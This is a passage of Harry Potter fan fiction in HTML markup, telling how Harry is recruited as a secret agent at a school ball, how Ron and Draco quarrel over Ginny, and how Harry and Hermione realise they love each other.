ball, his partner from the lessons, Mandy, rescued him from the clutches of a very insistently romantic Hufflepuff and a slow waltz. They danced a tango together quite successfully and it occurred to Harry that perhaps it depended on the partner how well he danced. \n</p><p>\nHe made Ron and Hermione dance a quickstep together, holding each other as far away as possible. By far the most awkward of all the dances was the polonaise he danced with Ginny Weasley. She was so embarrassed that at the end he felt he had to sit down and recover from the effort of entertaining her. \n</p><p>\nBut it was a tango, which Harry liked. Just as he was leaving the floor, a hand grabbed his arm and drew him back. A familiar voice said in his ear, &quot;I though you were meant to dance with every girl in the year. Come on Harry, don\'t forget me.&quot; \n</p><p>\nHarry had never danced with Hermione before and he was glad it was a dance he was good at. After all, Hermione was one of the best dancers in the year. They danced in silence for a bit and suddenly Harry found that he was enjoying himself. There was no need to waste time with small talk with Hermione. When she started to talk about permanent banishing charms it came as no surprise and Harry actually felt interested. He felt he was lucky. To have a partner who was interesting, a nice person, pretty and a good dancer was certainly very good fortune. \n</p><p>\nAfter Hermione had dried up on banishing charms he brought up the topic of her dance with Ron. \n</p><p>\nShe laughed and replied, &quot;It was funny really. We must have broken the record for uncomfortable dancing.&quot; She glanced up at him, her eyes sparkling and a strange feeling came over Harry. He had felt it only once before- in Yorkshire. He had seen Hermione outside the pub and he had thought she had looked pretty in the blustery wind. But it hadn\'t been the same way when he thought of other girls being pretty. Hermione wasn\'t pretty in the usual sense of the word. She was elegant and she was clever and that made her- \n</p><p>\n&quot;Why are you staring at me, Harry?&quot; \n</p><p>\n&quot;I just thought you looked so beautiful!&quot; Harry said accidentally. \n</p><p>\nFor the first time in the evening she momentarily lost her step. \n</p><p>\n&quot;Thank-you.&quot; \n</p><p>\n&quot;Back, forward, forward together forward, forward, forward, back, back together back, back, back.&quot; \n</p><p>\nShe recovered. \n</p><p>\nThe tango was the last dance of the first half and as Harry and Hermione left the floor in search of Ron, a lady brushed past them, showering them in perfume. They stared at her in surprise, for she was not a member of Hogwarts. \n</p><p>\n&quot;Sorry!&quot; she cried as she headed for Dumbledore. \n</p><p>\n&quot;Who\'s she?&quot; remarked Hermione to Harry. &quot;She\'s rather old to be at a ball like this!&quot; \n</p><p>\nThe lady was certainly a little above student age. She was quite tall and was wearing very floating robes of a shifting violet, blue colour. She had on a headscarf and too much white powder and rouge. She was probably about fifty, Harry reckoned. \n</p><p>\nThey found Ron sitting near the refreshments and discussed the \'Woman with two much perfume\' as they labelled her. She was talking to Dumbledore and was being introduced to Sirius and Arabella. \n</p><p>\nDuring the interval the orchestra played some modern tunes which some people danced to. \n<i></i></p><p></p><center><i>...The summer air was soft and warm, \n<p>The feeling right, the Paris night \n</p><p>yet it\'s best to please us \n</p><p>and strolling down the river Seine \n</p><p>we had a drink in each cafe \n</p><p>You talked of politics, philosophy and I \n</p><p>smiled like the Mona Lisa \n</p><p>We had our chance \n</p><p>It was a fine and true romance... \n</p></i></center><p>\nHarry, Ron and Hermione ate supper. \n<i></i></p><p></p><center><i>...I can still recall \n<p>Our last summer \n</p><p>I still see it all \n</p><p>Walks along the Seine \n</p><p>Laughing in the rain \n</p><p>Our last summer \n</p><p>Memories that remain... \n</p></i></center><p>\nHarry suddenly became aware that the woman was coming in their direction. He poked Ron, &quot;Look! She\'s coming towards us.&quot; \n</p><p>\n&quot;Who? Perfume Woman? Oh. So?&quot; \n</p><p>\n&quot;I wonder what she wants.&quot; Hermione mused. \n</p><p>\nThey soon found out. She almost walked past them, then stopped and turned round. She fixed Harry with a curious stare, held out her hand and said rather breathlessly, &quot;You must be Harry Potter. How lovely to meet you.&quot; \n</p><p>\nHarry shook her hand and muttered &quot;Hello.&quot; \n<i></i></p><p></p><center><i>...Those crazy years that was the time \n<p>of the flower power \n</p><p>But underneath \n</p><p>We had a fear of flying \n</p><p>Of getting old \n</p><p>A fear of slowly dying \n</p><p>We took our chance \n</p><p>Like we were dancing our last dance... \n</p></i></center><p>\n&quot;I\'m Dumbledore\'s second cousin twice removed.&quot; She continued, &quot;You must be Hermione Granger, the expert on Ancient Greece.&quot; \n</p><p>\n&quot;Oh no!&quot; Protested Hermione modestly, &quot;Not <i>really</i>. I mean, I only know a bit... Just very specialised. Well...&quot; \n</p><p>\n&quot;But you learned the alphabet just to find out the curse, did you?&quot; \n</p><p>\n&quot;Oh no. That was a coincidence. But I generally learn a bit of the language of the place I\'m going to be staying in. Greek was just a little bit trickier.&quot; \n</p><p>\n&quot;Yes, it would be. But it\'s very good, your learning the language. The number of people who just swan around a foreign country not even being able to say \'Yes, thank you\' is absolutely disgraceful. We don\'t like it if foreigners come into our shops talking their own language, so we shouldn\'t do it to them.&quot; \n</p><p>\n&quot;I quite agree.&quot; Hermione nodded vigorously, &quot;we think just because English is almost an universal language that we can go around pretending we own the world.&quot; \n</p><p>\nHarry chipped in, &quot;This is Ron Weasley.&quot; \n</p><p>\nThe woman looked vaguely at him out of grey-green eyes. She seemed to have forgotten his existence. &quot;Oh yes, of course. Nice to meet you, Ron. I know a few of your brothers- Charlie and Bill.  Do you like travelling too?&quot; \n</p><p>\n&quot;Er, yes,&quot; replied Ron who couldn\'t really have answered anything else. Dumbledore\'s second cousin twice removed turned back to Hermione with interest, &quot;So, Hermione, where else have you been? Greece, and...?&quot; \n</p><p>\n&quot;Well, I\'ve been to France quite a few times.-&quot; \n</p><p>\n&quot;Est-ce que tu parles fran&#231;ais?&quot; \n</p><p>\n&quot;Bien s&#251;r!&quot; Replied Hermione, with a laugh. Ron went off to find a partner for the next dance. \n</p><p>\nThe ball started up in the second half with the more romantic dances. It was dark now. The fairies were brighter than ever. There was a really magical feel in the air. \n</p><p>\nHarry half switched off from the conversation. He was quite tired. It was clear that Hermione was very taken with the new arrival and vice versa. \n</p><p>\n&quot;...absolutely amazing...&quot; \n</p><p>\n&quot;...Ibiza...dreadful...&quot; \n</p><p>\n&quot;...speak <i>five</i> languages as well as Latin...&quot; \n</p><p>\n&quot;...Guten Tag!...&quot; \n</p><p>\n&quot;...really no sense of culture...&quot; \n</p><p>\n&quot;...the euro...awful...takes the fun out of travel...&quot; \n</p><p>\n&quot;...I completely agree...&quot; \n</p><p>\nHe watched Ron idly circle the dance floor with Lisa Turpin to a slow waltz. \n</p><p>\nHarry left and went to dance with Mandy. She had promised him a waltz after all. Hermione and Dumbledore\'s cousin were still deep in conversation, this time about magical communications with South America, where neither of them had ever been. It occurred to Harry that he didn\'t even know the woman\'s name. \n</p><p>\nThe waltz having ended, Harry returned to Hermione who had just finished a passionate argument with Dumbledore\'s cousin about the tourism industry in Spain. When Harry arrived they had just realised that they agreed on every point, and had been therefore arguing against themselves. \n</p><p>\n&quot;Excuse me,&quot; Harry butted in, &quot;I\'m afraid I don\'t know your name?&quot; \n</p><p>\nShe turned surprised and set her eyes on his face, &quot;I\'m sorry. Did I really forget to introduce myself? Things are coming to a pretty pass!&quot; She held out her hand and suddenly Hermione frowned- for a middle aged woman\'s hand, it was very tanned and smooth. &quot;My name is Miss Shortstraw... <i>Catherine</i> Shortstraw.&quot; \n</p><p>\n&quot;That\'s an odd name,&quot; said Hermione. \n</p><p>\n&quot;Yes, isn\'t it? I like it, though.&quot; \n</p><p>\nHarry felt sure that it sounded familiar. Suddenly Miss Shortstraw asked him to dance. It was only polite to agree though he didn\'t see much fun in it. He didn\'t think he could keep a conversation about the Romans going very long. Only people like Hermione could talk about them with that much interest. \n</p><p>\n&quot;I feel sure I\'ve heard your name before...&quot; Harry mused. \n</p><p>\n&quot;It\'s not one you\'d forget soon,&quot; she laughed, &quot;really though, you probably have heard it. My sister, Emma is a journalist. She\'s been in the news recently about her very cynical approach to the Voldemort crisis.&quot; \n</p><p>\n&quot;You said his name!&quot; \n</p><p>\n&quot;Fear of a name increases fear of the thing itself. I am meant to be a relation of Dumbledore\'s after all.&quot; \n</p><p>\n&quot;You\'re meant to be... you mean you aren\'t?&quot; \n</p><p>\nMiss Shortstraw hesitated a split second, &quot;I\'m not remotely related to him. I just used that excuse to get into the ball.&quot; \n</p><p>\n&quot;Why did you want to get into the ball?&quot; Harry enquired. He was getting a very bad feeling about Catherine Shortstraw. After all, there were a few death eaters still about who would probably want him dead and would try to get at him in every way. \n</p><p>\n&quot;Well, you see Harry, er, I\'d like to make you a job offer.&quot; \n</p><p>\nHarry hadn\'t expected that. &quot;Thank-you very much, but I already know what I want to be.&quot; \n</p><p>\n&quot;An auror?&quot; inquired Miss Shortstraw. \n</p><p>\n&quot;Yes. How did you know?&quot; \n</p><p>\nShe flailed an arm about vaguely, &quot;Oh, you\'re Harry Potter!&quot; \n</p><p>\nHarry agreed to this and asked what her what job she was proposing to offer him. \n</p><p>\n&quot;Ah, well, where shall I start?&quot; She thought a few minutes then said, &quot;You may have heard of my name through my sister, but it\'s far more likely you heard about me in a different context. My mother was a very good friend of your mother.&quot; \n</p><p>\n&quot;Really? Who was she?&quot; \n</p><p>\n&quot;Her name was Mrs. Cidilla Shortstraw. Her maiden name was Cidilla French. Er, she taught <i>German</i>.&quot; \n</p><p>\n&quot;But that wasn\'t all she did!&quot; cried Harry, remembering, &quot;she ah, she erm...&quot; He also remembered that The Department of Mysteries was supposed to be a secret. \n</p><p>\nShe was looking at him insistently with raised eyebrows. \n</p><p>\nHarry felt very uncomfortable, &quot;Erm, Miss Shortstraw-&quot; \n</p><p>\n&quot;Catherine.&quot; \n</p><p>\n&quot;Er, Catherine. Well, I\'m afraid I can\'t continue.&quot; \n</p><p>\n&quot;What you mean, I suppose, is that she worked in the Department of Mysteries. Yes, she did and yes, I do now.&quot; She smiled at him. \n</p><p>\n&quot;You? You... work... and you\'re telling me?&quot; \n</p><p>\n&quot;Of course. I\'m a Principa, and mind you pronounce it \'prinkipa\'. It\'s a made up word from the Latin word \'princeps\' meaning emperor.&quot; \n</p><p>\n&quot;Oh.  Er, really!&quot; \n</p><p>\n&quot;You may know that I am in charge of a group of three witches and three wizards. One of our wizards was killed last week and the Department is offering you the job.&quot; \n</p><p>\n&quot;Oh,&quot; said Harry again. \n</p><p>\nCatherine seemed rather worried, &quot;I know it\'s very hard work, and quite dangerous. Most Domini don\'t last very long. But it <i>is</i> well paid. Very well paid. You\'d earn about 5000 Galleons in your first year.&quot; \n</p><p>\n&quot;Five <i>thousand</i> galleons!?&quot; \n</p><p>\n&quot;Yes. I see I\'m persuading you!&quot; \n</p><p>\nHarry considered. Becoming a Dominus would take away any idea he had of an auror course. And yet, they were similar jobs and being in DOM was better paid. He remembered what Dumbledore had said of having a partner. He asked Catherine who his partner would be. \n</p><p>\nShe pursed her lips, opened her mouth and shut it once before committing herself to words, &quot;Ah. Your partner. Well, her name is Linda Newman.&quot; \n</p><p>\n&quot;Oh?&quot; \n</p><p>\n&quot;She\'s, she\'s very <i>nice</i>.&quot; \n</p><p>\n&quot;What else?&quot; Harry thought Catherine was being rather evasive. \n</p><p>\nShe looked sheepish. &quot;Linda, unfortunately, is quite sickly. She always seems to be ill in some way, nearly always when it is necessary for her to be on an assignment. It is very, ahem, <i>unfortunate</i>.&quot; \n</p><p>\n&quot;I see. So what happens when she is ill?&quot; \n</p><p>\n&quot;Either you go alone or a substitute goes with you. Usually it is me, being the Principa of your group.&quot; \n</p><p>\n&quot;Who else would be in my group?&quot; \n</p><p>\n&quot;I\'m afraid I can\'t tell you that until you have accepted.&quot; \n</p><p>\nHarry bit his lip and concentrated very hard on his steps for a bit. Catherine was actually a good dancer. She didn\'t have that aura of grace and perfection that Hermione had, but she didn\'t miss a step. \n</p><p>\nWhat would Ron and Hermione say if he told them he had become a spy? It would be a totally different life, with new people to meet and new things to do. But he liked Catherine. And Hermione liked her, and she generally wasn\'t wrong about these things. \n</p><p>\n&quot;I accept.&quot; \n</p><p>\nCatherine positively beamed, &quot;Good! I had an idea that you might. I think I\'ll enjoy working with you, Harry. Excellent!&quot; \n</p><p>\nHarry grinned back. He suddenly felt much happier and more secure, &quot;So, who will be my colleagues?&quot; \n</p><p>\n&quot;Ah yes. You know of course that in each group there are six members, three sets of partners.&quot; \n</p><p>\nHarry nodded. \n</p><p>\n&quot;Yes, well, in each partnership, one of the two will be very good at attacking, at physical work- that\'s you, by the way. The other partner probably has the harder lot. They must be a fine actor or actress, capable of deception, of tricking people, of laying red herrings. That\'s Linda, only she doesn\'t do her job very well. I don\'t know how she got the job and how she\'s survived up to now I can\'t imagine.&quot; \n</p><p>\n&quot;Who chooses the members? It\'s not you, is it?&quot; \n</p><p>\nHeavens no! There\'s someone called \'The Boss\'. I don\'t know who he is, you don\'t know who he is, I don\'t know anyone who knows. Anyway, he\'s in charge of this whole caboodle and he issues all the orders like which new members to recruit. I just follow his orders and pass them on to you and the five others. It could be a woman actually,&quot; she added. \n</p><p>\n&quot;Now will you tell me who the other members of the group are?&quot; \n</p><p>\n&quot;Certainly. One of them I believe you already know. A certain young lady?&quot; \n</p><p>\n&quot;Er?&quot;\n</p><p>\n&quot;Cho Chang. In fact she only joined us at Easter.&quot; \n</p><p>\n&quot;Cho? She\'s a Domina? That explains why she dropped out of the auror course!&quot; \n</p><p>\n&quot;Yes exactly. That\'s another point I\'ve just remembered. You must have another small job to make it look like you\'re earning something to people who aren\'t in the know. I work in Madam Malkims\', Cho in the Leaky Cauldron. I wouldn\'t advise becoming an auror as well, it would be quite a lot to take on board.&quot; \n</p><p>\n&quot;I don\'t know. What do you suggest?&quot; \n</p><p>\n&quot;What are you good at?&quot; \n</p><p>\n&quot;Quidditch, I guess.&quot; Harry replied after a little thought. \n</p><p>\n&quot;Well, there are plenty of quidditch orientated jobs without being actually involved in flying. Have a look out for some. That\'s what I\'d suggest anyway.&quot; \n</p><p>\nHarry thanked her and looked about the marquee. \n</p><p>\n&quot;Nice event,&quot; commented Catherine. &quot;I like balls. I remember my own Laurel\'s ball when I left Hogwarts. I was forced to dance with Professor Snape.&quot; \n</p><p>\n&quot;Poor you!&quot; laughed Harry. \n</p><p>\n&quot;Oh it wasn\'t that bad. I danced with one of Ron\'s brothers as well. Charlie I remember. We were in the same year. Bill was a few years older.&quot; \n</p><p>\nHarry stared at her, &quot;But you\'re... you\'re older than that, aren\'t you?&quot; \n</p><p>\n&quot;I\'m twenty seven. I look like I\'m about fifty because I\'m trying to look like Dumbledore\'s cousin.&quot; \n</p><p>\nThe dance (a very long waltz) wound to a close and Harry and Catherine left the floor, Catherine to go and talk to Dumbledore and Harry to Ron and Hermione. Ron was still dancing with Lisa but Hermione was sitting where he had left her, looking tired and rather bored. \n</p><p>\n&quot;Hello, Harry. Enjoyed your dance? You looked like you were enjoying it.&quot; \n</p><p>\n&quot;I was actually!&quot; Harry replied surprised. \n</p><p>\n&quot;Hmm.&quot; Hermione stared at him out of narrow eyes. Eventually she said, &quot;So she wasn\'t a death eater?&quot; \n</p><p>\n&quot;No! Why should you think she was?&quot; \n</p><p>\n&quot;Her hands are younger than the rest of her. I thought she was in disguise.&quot; \n</p><p>\n&quot;But you liked her!&quot; \n</p><p>\n&quot;I know, and I still do. Even death eaters can be nice I suppose. So what did she want?&quot; \n</p><p>\n&quot;She was-&quot; \n</p><p>\nRon came back, looking radiant. &quot;I think I\'ve fallen in love!&quot; \n</p><p>\nHermione looked very sceptical, &quot;What, this is the, oh what is it, fourth time you have? No, third. Fleur and me first. Who with?&quot; \n</p><p>\nRon had a very dreamy look on his face, &quot;Lisa. Lisa Turpin. And to think I didn\'t even know she existed before tonight!&quot; \n</p><p>\n&quot;Does she like you back?&quot; \n</p><p>\n&quot;That\'s just it. I- I think she might!&quot; \n</p><p>\n&quot;Oh Ron! You\'ve danced one waltz with her. Anyway, shut up! Harry was just about to say something important when you interrupt with your love life. Really! Go on, Harry.&quot; \n</p><p>\nQuickly and quietly Harry narrated all that Catherine had told them, and made them swear to secrecy. \n</p><p>\nRon looked a bit jealous but he couldn\'t tell whether Hermione was. She looked... blank. \n</p><p>\nAt last when Ron had finished being excited by it she laid her hand on Harry\'s, and said softly, &quot;Do you have to, Harry? I- I couldn\'t bare it if anything happened to you. Remember your parents. It\'s a dangerous job. You could be killed next week!&quot; \n</p><p>\n&quot;Oh come on Hermione,&quot; put in Ron, &quot;he\'s far more likely to be run over by a bus.&quot; \n</p><p>\nHarry wished she wouldn\'t take it that seriously, he couldn\'t help agreeing with Ron. &quot;Look, Hermione. Thanks to you, Voldemort\'s gone. No-one\'s going to be trying to kill me.&quot; \n</p><p>\n&quot;He came back last time.&quot; \n</p><p>\n&quot;Well that was last time. This is this time. It\'s completely different, and this is a ball and I don\'t propose to spend my time talking about that now. Voldemort will never come back.&quot; \n</p><p>\nSuddenly as they were talking Hermione went pale and she stared hard over her shoulder. Harry frowned at her and made a few incomprehensible eye movements in her direction. Ron carried on talking about Lisa. \n</p><p>\nEventually she caught on that Harry had noticed her change in behaviour. She said through the Unbreakable Link, <i>Harry, whatever you do, don\'t let Ron look at the dance floor.</i>\n</p><p>\nHarry frowned and replied, <i>Why not? What\'s up?</i> \n</p><p>\n<i>It\'s Ginny. She\'s dancing with... with... </i>Draco Malfoy.\n</p><p>\nHarry immediately turned round and caught sight of Ginny in her canary yellow ball dress circling the floor with Malfoy to a relaxed foxtrot. <i>(A/N: I always think of Ginny in canary yellow?!)</i> She didn\'t look too unhappy either. \n</p><p>\nUnfortunately Ron noticed Harry\'s glance and turned round as well. Harry and Hermione watched anxiously. It didn\'t take Ron long to see what the deal was. \n</p><p>\nHis face went red and he left out a bellow like an angry bull, before charging onto the dance floor towards the couple, &quot;DRACO MALFOY! UNHAND MY SISTER!&quot; \n</p><p>\nSome of the dancers stopped dancing and stared, even the lead violinist of the Diagon Sinfonietta hesitated a second. Draco Malfoy stopped dancing and turned to face Ron. Ginny pulled away and looked rather scared.\n</p><p>\nRon raced to her side and grabbed her physically away from Malfoy. Harry and Hermione followed cautiously onto the dance floor. Draco\'s eyes glittered coldly, &quot;Leave my partner alone, Weasley. I\'ll dance with who I like. Besides, she came of her own free will. I asked her to dance and she accepted.&quot;\n</p><p>\n&quot;Don\'t be ridiculous! What spell did you put on her? That\'s the question! This calls for revenge!&quot;\n</p><p>\nGinny wrestled out of both Ron and Malfoy\'s grasp and cried out, &quot;Malfoy\'s right! I\'m dancing with him because I want to. Now let me go, you\'re making me waste the foxtrot!&quot;\n</p><p>\nRon wouldn\'t give up and cried with more perception than he was usually credited for, &quot;Ginny! Don\'t even think he\'s doing this to be nice! He\'s just trying to hit it off with you, ruin you and then dump you!&quot;\n</p><p>\n&quot;Ron...&quot; intervened Hermione ineffectually and was ignored.\n</p><p>\nGinny went scarlet and gazed from Ron to Malfoy who was looking decidedly shifty. She couldn\'t seem to make up her mind what to do. Eventually she acted as only humans do, &quot;Harry! It\'s all his fault!&quot;\n</p><p>\nHarry opened his mouth and shut it again. All eyes swivelled onto him. This was the second love triangle he had got himself \'caught up in\', the first being the affair of Hermione and Krum in his fourth year. \n</p><p>\n&quot;If Harry liked me and danced with me then I would never have felt the need to dance with Malfoy!&quot; Ginny continued.\n</p><p>\n&quot;Rubbish!&quot; Said Hermione her eyes blazing, &quot;that\'s absolute nonsense!&quot;\n</p><p>\n&quot;How sweet! The Mudblood sticking up for-&quot;- Malfoy.\n</p><p>\n&quot;Why bring Harry into this?&quot;- Ron.\n</p><p>\n&quot;Yeah- why bring me into this?&quot;- Harry.\n</p><p>\n&quot;\'Cos it\'s your fault!&quot;\n</p><p>\n&quot;I want to dance!&quot;\n</p><p>\n&quot;He danced a polonaise with you? What more do you want?&quot;\n</p><p>\n&quot;God, I wish we had a reporter here. This would make headline news. You know- \'Weasley girl dumps Scarface Potter for Draco Malfoy at Laurel\'s Ball!&quot;\n</p><p>\n&quot;Malfoy, you\'re really not helping!&quot;\n</p><p>\n&quot;And it&#8217;s really none of your business, Granger!&quot;\n</p><p>\n&quot;We were never even going out!&quot;\n</p><p>\n&quot;<i>What on earth is going on here?</i>&quot; They fell silent. Arabella was the speaker and she looked furious. She placed her hands on her hips and surveyed them. &quot;Now what was going on?&quot;\n</p><p>\nAfter a couple of minutes she extracted the true story from Hermione and sent Draco and Ginny off to finish their dance and told Ron that it really was their business who they danced with. Ron was not pleased and stormed off the floor saying that he <i>hated balls</i>.\n</p><p>\nThe foxtrot came to its conclusion and Ginny sent off a parting shot, &quot;See, at least you made me miss my favourite dance!&quot;\n</p><p>\nHarry found himself standing in the middle of the dance floor. He made his way off when he heard Hermione call to him from behind, &quot;Wait!&quot; The orchestra struck up a waltz.\n</p><p>\nHarry turned round and saw her standing there amid the swirling couples. Her head was on one side, and her eyes seemed brighter than usual in the fairy light. She held out a hand to him with a smile, &quot;Will you dance, Harry? Just one waltz?&quot;\n</p><p>\nHarry looked at her and wondered why he was hesitating. He shrugged, &quot;If you like.&quot; He took her hand and put his arms round her and they began to dance. \n</p><p>\nIt was a moment he would never forget for all his life; it was the moment he fell for Hermione Granger.\n</p><p>\nAs she leant back in his arms Harry felt that she fitted into them, like she belonged there. She was so light, and such a good dancer!\n</p><p>\n&quot;Do you know what this dance is?&quot; she asked.\n</p><p>\nHarry shook his head.\n</p><p>\n&quot;Strauss. <i>Thousand and One Nights</i> waltz.&quot;\n</p><p>\n&quot;How do you know that?&quot; asked Harry, amazed.\n</p><p>\n&quot;Oh, I know everything!&quot; She laughed and spun round, her sky blue skirt swirling round Harry\'s legs. For once Harry didn\'t even try to doubt it, &quot;Tell me some more about permanent banishing charms, Hermione. They\'re really interesting.&quot;\n</p><p>\nShe grinned up at him, &quot;I can\'t talk about charms in a waltz!&quot;\n</p><p>\n&quot;I thought you could talk about charms anytime and anyplace!&quot;\n</p><p>\n&quot;Anyplace but a waltz! You may not know it, but I really like balls!  I\'ve been looking forward to this one for months and I intend to enjoy it! I love the atmosphere, the music, the dancing, the gentility of it all! Don\'t you think so?&quot;\n</p><p>\n&quot;I suppose so, it\'s certainly very romantic.&quot;\n</p><p>\n&quot;I love the romance of it all as well! Nowadays at a disco, everyone\'s simply interested in the sex, the physical part of love. Here, I don\'t know- it\'s different.&quot;\n</p><p>\n&quot;I know what you mean. There are no sensual songs, no kissing- do you know, I have not seen even one person snogging their girlfriend yet!&quot;\n</p><p>\n&quot;I won\'t tell you to look behind you then. Terry and Mandy are just proving you wrong!&quot;\n</p><p>\n&quot;And Ron and Lisa, I imagine.&quot;\n</p><p>\nThey laughed and then danced in silence for the rest of the waltz. At the end of it, Harry felt tired and his legs ached, but Hermione didn&#8217;t let him go, and somehow he didn\'t care and stayed with her to dance <i>Roses from the South</i> and then <i>The Blue Danube</i>. \n</p><p>\nHe felt so happy and yet he couldn\'t explain it. It was so nice to spend time like this with a good friend like Hermione! \n</p><p>\nBy the end of <i>Roses from the South</i> Hermione\'s head was practically resting on his shoulder and she seemed to be dancing in her sleep. However, when he suggested quietly that they went and sat out for a bit she stood up straight and shook her head emphatically, &quot;No! I\'m quite happy here. Thanks for asking though, Harry.&quot;\n</p><p>\nIt was midnight when the beautiful blue Danube finally reached the sea and everyone stopped dancing. The bells of Hogsmeade gave their impression of Big Ben, fireworks were set off and the lovers kissed. Then Professor Dumbledore wished everyone good luck with their paths in life, the pupils applauded, the lovers kissed some more and the ball was over.\n</p><p>\nHermione disentangled herself from Harry\'s arms and went off somewhere. Ron grabbed Harry and they made off for the coaches to take them back to Hogwarts. \n</p><p>\n&quot;Hermione looked like she was almost asleep! I can\'t believe you danced the last three waltzes of the evening with her! With <i>Hermione</i>!&quot;\n</p><p>\n&quot;Well,&quot; replied Harry ruefully, &quot;it was only going to be one dance, but then I think we were so tired we just couldn\'t be bothered to stop.&quot;\n</p><p>\n&quot;Oh I see,&quot; said Ron who didn\'t.\n</p><p>\n&quot;I say, have you seen Catherine?&quot;\n</p><p>\nRon nodded, &quot;Yeah, I saw her leave for the station just before midnight.&quot;\n</p><p>\n&quot;She must have been going to catch the 12 o\' clock train. I wish I had had a chance to say goodbye to her.&quot;\n</p><p>\n&quot;You\'ll see her again soon. Where\'s Hermione for that matter?&quot;\n</p><p>\n&quot;She went off somewhere at the end. I don\'t know.&quot;\n</p><p>\n&quot;She said she\'d walk back. I think she wanted some fresh air.&quot; Sirius appeared behind them. &quot;So enjoyed the ball?&quot;\n</p><p>\n&quot;It was great!&quot; said Ron enthusiastically, &quot;apart from that Slytherin git going off with Ginny.&quot;\n</p><p>\n&quot;That was unfortunate. What about you, Harry?&quot;\n</p><p>\n&quot;It was good,&quot; said Harry guardedly. &quot;I\'m...um... just going to see... er... see you at the castle, Ron!&quot;\n</p><p>\n&quot;What? Where\'re you going?&quot;\n</p><p>\nBut Harry had disappeared into the crowd.\n</p><p></p><center>*<p></p></center>\nHermione walked quickly away from the group of students leaving the marquee and down Hogsmeade\'s unlit main street. How many times she had come here with Harry and Ron to buy sweets and tricks! She walked briskly, but when she reached the Shrieking Shack she stopped suddenly and went to sit on the rail of the fence around it. \n<p>\nThe music echoed in her head as she watched the crowd moving towards the coaches.  It was so nice to sit here, being eighteen and at a ball!  A gentle night breeze wafted her hair across her face.  She yawned and stared up at the clouds illuminated by the half moon.  \n</p><p>\nShe was tired, very tired indeed and yet she felt very excited.  She could hardly sit still.  There were butterflies in her stomach and she knew she wanted something, but she didn\'t know what.  She knew she would not sleep a wink that night, or rather morning.\n</p><p>\nThere was something she would have to think about.  That was why she had come out here.  Harry.  She knew she <i>liked</i> him.  She had realised that long ago- in that closet when she had told him about the Unbreakable Link.  Now she wondered just how much.  She had thought it was a crush and anyone can control a crush, after all no-one had noticed, had they?  She hadn\'t even bothered to check it, she liked it.  It was odd and different to feel like that towards someone.  She had not thought it would go anywhere.  She had taken Parvati and Lavender as her rolemodels- they had crushes everyday which then disappeared like the twinkling of a star.  \n</p><p>\nShe tried to analyse her feelings now, it was the first time she had thought of them seriously.  They worried her.  The scale and dept of them.  It wasn\'t just physical attraction, there was that of course, but it was more than just that, there was the desire to be with him, to help him.  To be happy with him, to be sad with him, to laugh and cry together.  There was a small tug at her heart when she thought of it.  Hermione wasn\'t stupid, she knew what had happened.  She had fallen in love with him.\n</p><p>\nHow awful it was to be eighteen, at a ball and in love with someone!\n</p><p>\nShe would have to go back sometime.  They would miss her otherwise, yet for a moment she wanted to escape reality.  To stay in the warm, friendly night for a bit longer.  The main square was dark now, all the coaches had left.  Hermione sighed and prepared to get off the fence, hopefully keeping her dress in one piece at the same time.\n</p><p>\n&quot;Hermione?&quot;\n</p><p>\nHermione sat perfectly still, her heart beating faster than normal.\n</p><p>\n&quot;Harry?&quot;  Her voice came out a strangled gasp.  She immediately composed herself and made her throat relax, like one does before singing.\n</p><p>\n&quot;Where are you?&quot;\n</p><p>\n&quot;Shrieking shack,&quot; she replied, her voice normal again.\n</p><p>\nHe came up to her and grinned, &quot;Why on earth didn\'t you go to the coaches?  Sirius said you wanted top walk back.  Why?&quot;\n</p><p>\n&quot;Oh, just helps me calm down.  It was very hot in the tent.&quot;\n</p><p>\n&quot;True.  It was a wonderful ball though.&quot;  He clambered up onto the fence next to her, just as she jumped down.\n</p><p>\n&quot;You\'re really edgy, you know Hermione.  What happened?&quot;\n</p><p>\n&quot;I\'m excited!  The ball\'s worked me up.&quot;\n</p><p>\n&quot;Of course,&quot; he said sceptically.\n</p><p>\nSuddenly she felt it.  It wasn\'t that bad being in love, it was exciting and novel and happy!  It was wonderful power.\n</p><p>\nShe laughed, &quot;It was a <i>wonderful</i> ball!&quot; she said with real conviction.        \n</p><p>\n&quot;You are odd, you know!&quot;\n</p><p>\n&quot;And delightful!&quot;  She danced up to him and grabbed his hand.\n</p><p>\n&quot;Of course!  I was just coming on to that!&quot;  He allowed himself to be dragged off the fence and waltzed around the street.\n</p><p>\n&quot;Are you ever going to stop dancing tonight, Hermione?&quot;\n</p><p>\n&quot;I could have danced all night!&quot; she sang with a smile.\n</p><p>\n&quot;What\'s that?&quot;\n</p><p>\n&quot;Song from <i>My Fair Lady</i>.  It\'s my favourite musical.  \'I could have danced all night, I could have danced all night, And still have begged for more!\'&quot;\n</p><p>\n&quot;You sing well.  Carry on!&quot;\n</p><p>\n&quot;\'I could have spread my wings, And done a thouand things, I never did before!\'&quot;  She hesitated, realising where the song was going.  Harry stopped dancing.\n</p><p>\n&quot;\'I never knew what made it so exciting, Why all at once my heart took flight!  <i>I only know when he, began to dance with me, I could have danced, danced, danced all night</i>!\'&quot;\n</p><p>\nShe stopped breathless.\n</p><p>\n&quot;It\'s a nice tune,&quot; said Harry neutrally.\n</p><p>\nHermione turned away, &quot;We\'d better get back now.&quot;  She started to walk away.\n</p><p>\n&quot;Hermione,&quot;  Harry suddenly took hold of her hand and she turned slowly to face him, &quot;who was he?  What was the meaning of the last bit of the song?  Who was he?  Who did you dance with?&quot;\n</p><p>\n&quot;I- I can\'t tell you.&quot;\n</p><p>\nGently he touched her chin and turned her face towards his.  &quot;You\'re different.  It\'s changed you.  Or maybe I\'m seeing you differently, that\'s all.  I don\'t know.&quot;\n</p><p>\nShe didn\'t reply.  Harry didn\'t move.\n</p><p>\n&quot;We\'ve been through a lot together, Hermione.&quot;\n</p><p>\n&quot;A lot,&quot; she echoed.\n</p><p>\nHe didn\'t seem to know what to say after that.  Eventually, &quot;Oh damn it!  Just tell me if it\'s me!&quot;\n</p><p>\n&quot;Do you want it to be you?&quot;\n</p><p>\nHarry stared at her as if that consideration had never entered his head.\n</p><p>\n&quot;Do you?&quot; she insisted.\n</p><p>\n&quot;I never thought of that.  I suppose- I don\'t know!  It\'s all changed!  I think- I think I do!&quot;\n</p><p>\nHermione let out her breath she had been holding and wondered what to say.  The possibility he might like her back had never occured to her.  What should she do?\n</p><p>\nHe was looking at her again.  Her mouth went dry. &quot;It is me, isn\'t it?  I would never have thought!&quot;\n</p><p>\nShe nodded once and licked her lips nervously.\n</p><p>\nHarry looked at her in mild amazement, &quot;Hermione?  Why are we standing here, talking like this?  It isn\'t right, I want to go right away from here now!  I want to live in reality, where you\'re the 